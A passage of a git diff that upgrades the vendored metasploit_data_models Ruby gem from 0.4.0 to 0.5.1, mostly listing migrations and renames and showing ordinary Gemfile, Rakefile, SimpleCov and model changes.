lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/009_add_loots_ctype.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/010_add_alert_fields.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/011_add_reports.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/012_add_tasks.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/013_add_tasks_result.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/014_add_loots_fields.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/015_rename_user.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/016_add_host_purpose.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/017_expand_info2.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/018_add_workspace_user_info.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/019_add_workspace_desc.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/020_add_user_preferences.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/021_standardize_info_and_data.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/022_enlarge_event_info.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/023_add_report_downloaded_at.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/024_convert_service_info_to_text.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/025_add_user_admin.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/026_add_creds_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100819123300_migrate_cred_data.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100824151500_add_exploited_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100908001428_add_owner_to_workspaces.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100911122000_add_report_templates.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916151530_require_admin_flag.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916175000_add_campaigns_and_templates.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100920012100_add_generate_exe_column.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100926214000_add_template_prefs.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101001000000_add_web_tables.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101002000000_add_query.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101007000000_add_vuln_info.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101008111800_add_clients_to_campaigns.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101009023300_add_campaign_attachments.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101104135100_add_imported_creds.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000000_fix_web_tables.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000001_expand_host_comment.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110112154300_add_module_uuid_to_tasks.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110204112800_add_host_tags.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110317144932_add_session_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110414180600_add_local_id_to_session_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110415175705_add_routes_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110422000000_convert_binary.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110425095900_add_last_seen_to_sessions.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110513143900_track_successful_exploits.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000000_add_task_id_to_reports_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000001_add_api_keys_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110606000001_add_macros_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110622000000_add_settings_to_tasks_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110624000001_add_listeners_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110625000001_add_macro_to_listeners_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000001_add_nexpose_consoles_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110717000001_add_profiles_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110727163801_expand_cred_ptype_column.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110730000001_add_initial_indexes.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110812000001_prune_indexes.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110922000000_expand_notes.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110928101300_add_mod_ref_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111011110000_add_display_name_to_reports_table.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111203000000_inet_columns.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111204000000_more_inet_columns.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111210000000_add_scope_to_hosts.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120126110000_add_virtual_host_to_hosts.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120411173220_rename_workspace_members.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120601152442_add_counter_caches_to_hosts.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000000_add_vuln_details.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000001_add_host_details.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000002_expand_details.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000003_expand_details2.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000004_add_vuln_attempts.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000006_add_module_details.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000007_add_exploit_attempts.rb create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000008_add_fail_message.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/mdm.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/mdm/host/operating_system_normalization.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/metasploit_data_models.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/metasploit_data_models/base64_serializer.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/metasploit_data_models/engine.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/metasploit_data_models/serialized_prefs.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/metasploit_data_models/validators/ip_format_validator.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/lib/metasploit_data_models/validators/password_is_strong_validator.rb (100%) create mode 100755 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/version.rb create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/tasks/yard.rake rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/metasploit_data_models.gemspec (88%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/script/rails (100%) create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/app/models/mdm/web_vuln_spec.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/Rakefile (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/app/assets/javascripts/application.js (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/app/assets/stylesheets/application.css (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/app/controllers/application_controller.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/app/helpers/application_helper.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/app/mailers/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/app/models/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/app/views/layouts/application.html.erb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config.ru (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/application.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/boot.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/database.yml.example (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/environment.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/environments/development.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/environments/production.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/environments/test.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/initializers/backtrace_silencers.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/initializers/inflections.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/initializers/mime_types.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/initializers/secret_token.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/initializers/session_store.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/initializers/wrap_parameters.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/config/routes.rb (100%) create mode 100644 lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/db/schema.rb rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/lib/assets/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/log/.gitkeep (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/public/404.html (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/public/422.html (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/public/500.html (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/public/favicon.ico (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/dummy/script/rails (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/lib/base64_serializer_spec.rb (100%) rename lib/gemcache/ruby/1.9.1/gems/{metasploit_data_models-0.4.0 => metasploit_data_models-0.5.1}/spec/spec_helper.rb (96%) rename lib/gemcache/ruby/1.9.1/specifications/{metasploit_data_models-0.3.0.gemspec => metasploit_data_models-0.5.1.gemspec} (72%) diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Gemfile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Gemfile deleted file mode 100755 index b72e01d066..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Gemfile +++ /dev/null @@ -1,10 +0,0 @@ -source "http://rubygems.org" - -# Specify your gem's dependencies in metasploit_data_models.gemspec -gemspec - -group :test do - # rails is only used for testing with a dummy application in spec/dummy - gem 'rails' - gem 'rspec-rails' -end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Rakefile deleted file mode 100755 index ccea92f08e..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/Rakefile +++ /dev/null @@ -1,7 +0,0 @@ -require 'bundler/gem_tasks' -require 'rspec/core/rake_task' - -RSpec::Core::RakeTask.new(:spec) - -task :default => :spec - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_vuln.rb deleted file mode 100755 index 3d938d3ef9..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/web_vuln.rb +++ /dev/null @@ -1,16 +0,0 @@ -class Mdm::WebVuln < ActiveRecord::Base - # - # Relations - # - - belongs_to :web_site, :class_name => 'Mdm::WebSite' - - # - # Serializations - # - - serialize :params, MetasploitDataModels::Base64Serializer.new - - ActiveSupport.run_load_hooks(:mdm_web_vuln, self) -end - diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/version.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/version.rb deleted file mode 100755 index cf7d89cc68..0000000000 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/version.rb +++ /dev/null @@ -1,7 +0,0 @@ -module MetasploitDataModels - # MetasploitDataModels follows the {Semantic Versioning Specification http://semver.org/}. At this time, the API - # is considered unstable because the database migrations are still in metasploit-framework and certain models may not - # be shared between metasploit-framework and pro, so models may be removed in the future. Because of the unstable API - # the version should remain below 1.0.0 - VERSION = '0.4.0' -end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/.gitignore b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.gitignore similarity index 78% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/.gitignore rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.gitignore index e5b2a024e4..9cf3f2824c 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/.gitignore +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.gitignore @@ -6,13 +6,19 @@ *.gem # Rubymine project configuration .idea +# logs +*.log # Don't check in rvmrc since this is a gem .rvmrc +# YARD database +.yardoc +# coverage report directory for simplecov/Rubymine +coverage +# generated yardocs +doc # Installed gem versions. Not stored for the same reasons as .rvmrc Gemfile.lock # Packaging directory for builds pkg/* # Database configuration (with passwords) for specs spec/dummy/config/database.yml -# logs -*.log diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/.rspec b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.rspec similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/.rspec rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.rspec diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.simplecov b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.simplecov new file mode 100644 index 0000000000..c46d9aaf94 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.simplecov @@ -0,0 +1,38 @@ +# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is +# controlled by running with coverage, so don't explicitly start coverage (and +# therefore generate a report) when in Rubymine. This _will_ generate a report +# whenever `rake spec` is run. +unless ENV['RM_INFO'] + SimpleCov.start +end + +SimpleCov.configure do + load_adapter('rails') + + # ignore this file + add_filter '.simplecov' + + # + # Changed Files in Git Group + # @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only + # + + untracked = `git ls-files --exclude-standard --others` + unstaged = `git diff --name-only` + staged = `git diff --name-only --cached` + all = untracked + unstaged + staged + changed_filenames = all.split("\n") + + add_group 'Changed' do |source_file| + changed_filenames.detect { |changed_filename| + source_file.filename.end_with?(changed_filename) + } + end + + # + # Specs are reported on to ensure that all examples are being run and all + # lets, befores, afters, etc are being used. + # + + add_group 'Specs', 'spec' +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.yardopts b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.yardopts new file mode 100644 index 0000000000..5d51dac244 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/.yardopts @@ -0,0 +1,4 @@ +--markup markdown +--protected +{app,lib}/**/*.rb +db/migrate/*.rb \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Gemfile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Gemfile new file mode 100755 index 0000000000..c4e6b487cb --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Gemfile @@ -0,0 +1,22 @@ +source "http://rubygems.org" + +# Specify your gem's dependencies in metasploit_data_models.gemspec +gemspec + +# used by dummy application +group :development, :test do + # supplies factories for producing model instance for specs + gem 'factory_girl_rails' + # rails is only used for the dummy application in spec/dummy + gem 'rails' +end + +group :test do + # In a full rails project, factory_girl_rails would be in both the :development, and :test group, but since we only + # want rails in :test, factory_girl_rails must also only be in :test. + # add matchers from shoulda, such as validates_presence_of, which are useful for testing validations + gem 'shoulda-matchers' + # code coverage of tests + gem 'simplecov', :require => false + gem 'rspec-rails' +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/LICENSE b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/LICENSE similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/LICENSE rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/LICENSE diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/README.md b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/README.md similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/README.md rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/README.md diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile new file mode 100755 index 0000000000..b582299d61 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/Rakefile @@ -0,0 +1,20 @@ +#!/usr/bin/env rake +begin + require 'bundler/setup' +rescue LoadError + puts 'You must `gem install bundler` and `bundle install` to run rake tasks' +end + + +APP_RAKEFILE = File.expand_path('../spec/dummy/Rakefile', __FILE__) +load 'rails/tasks/engine.rake' + +Bundler::GemHelper.install_tasks + +require 'rspec/core/rake_task' + +RSpec::Core::RakeTask.new(:spec) +task :default => :spec + +load 'lib/tasks/yard.rake' + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/api_key.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/api_key.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/api_key.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/api_key.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/client.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/client.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/client.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/client.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/cred.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/cred.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/cred.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/cred.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/event.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/event.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/event.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/event.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/exploit_attempt.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploit_attempt.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/exploit_attempt.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploit_attempt.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/exploited_host.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploited_host.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/exploited_host.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/exploited_host.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/host.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/host.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/host_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/host_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/host_tag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_tag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/host_tag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_tag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/imported_cred.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/imported_cred.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/imported_cred.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/imported_cred.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/listener.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/listener.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/listener.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/listener.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/app/models/mdm/loot.rb 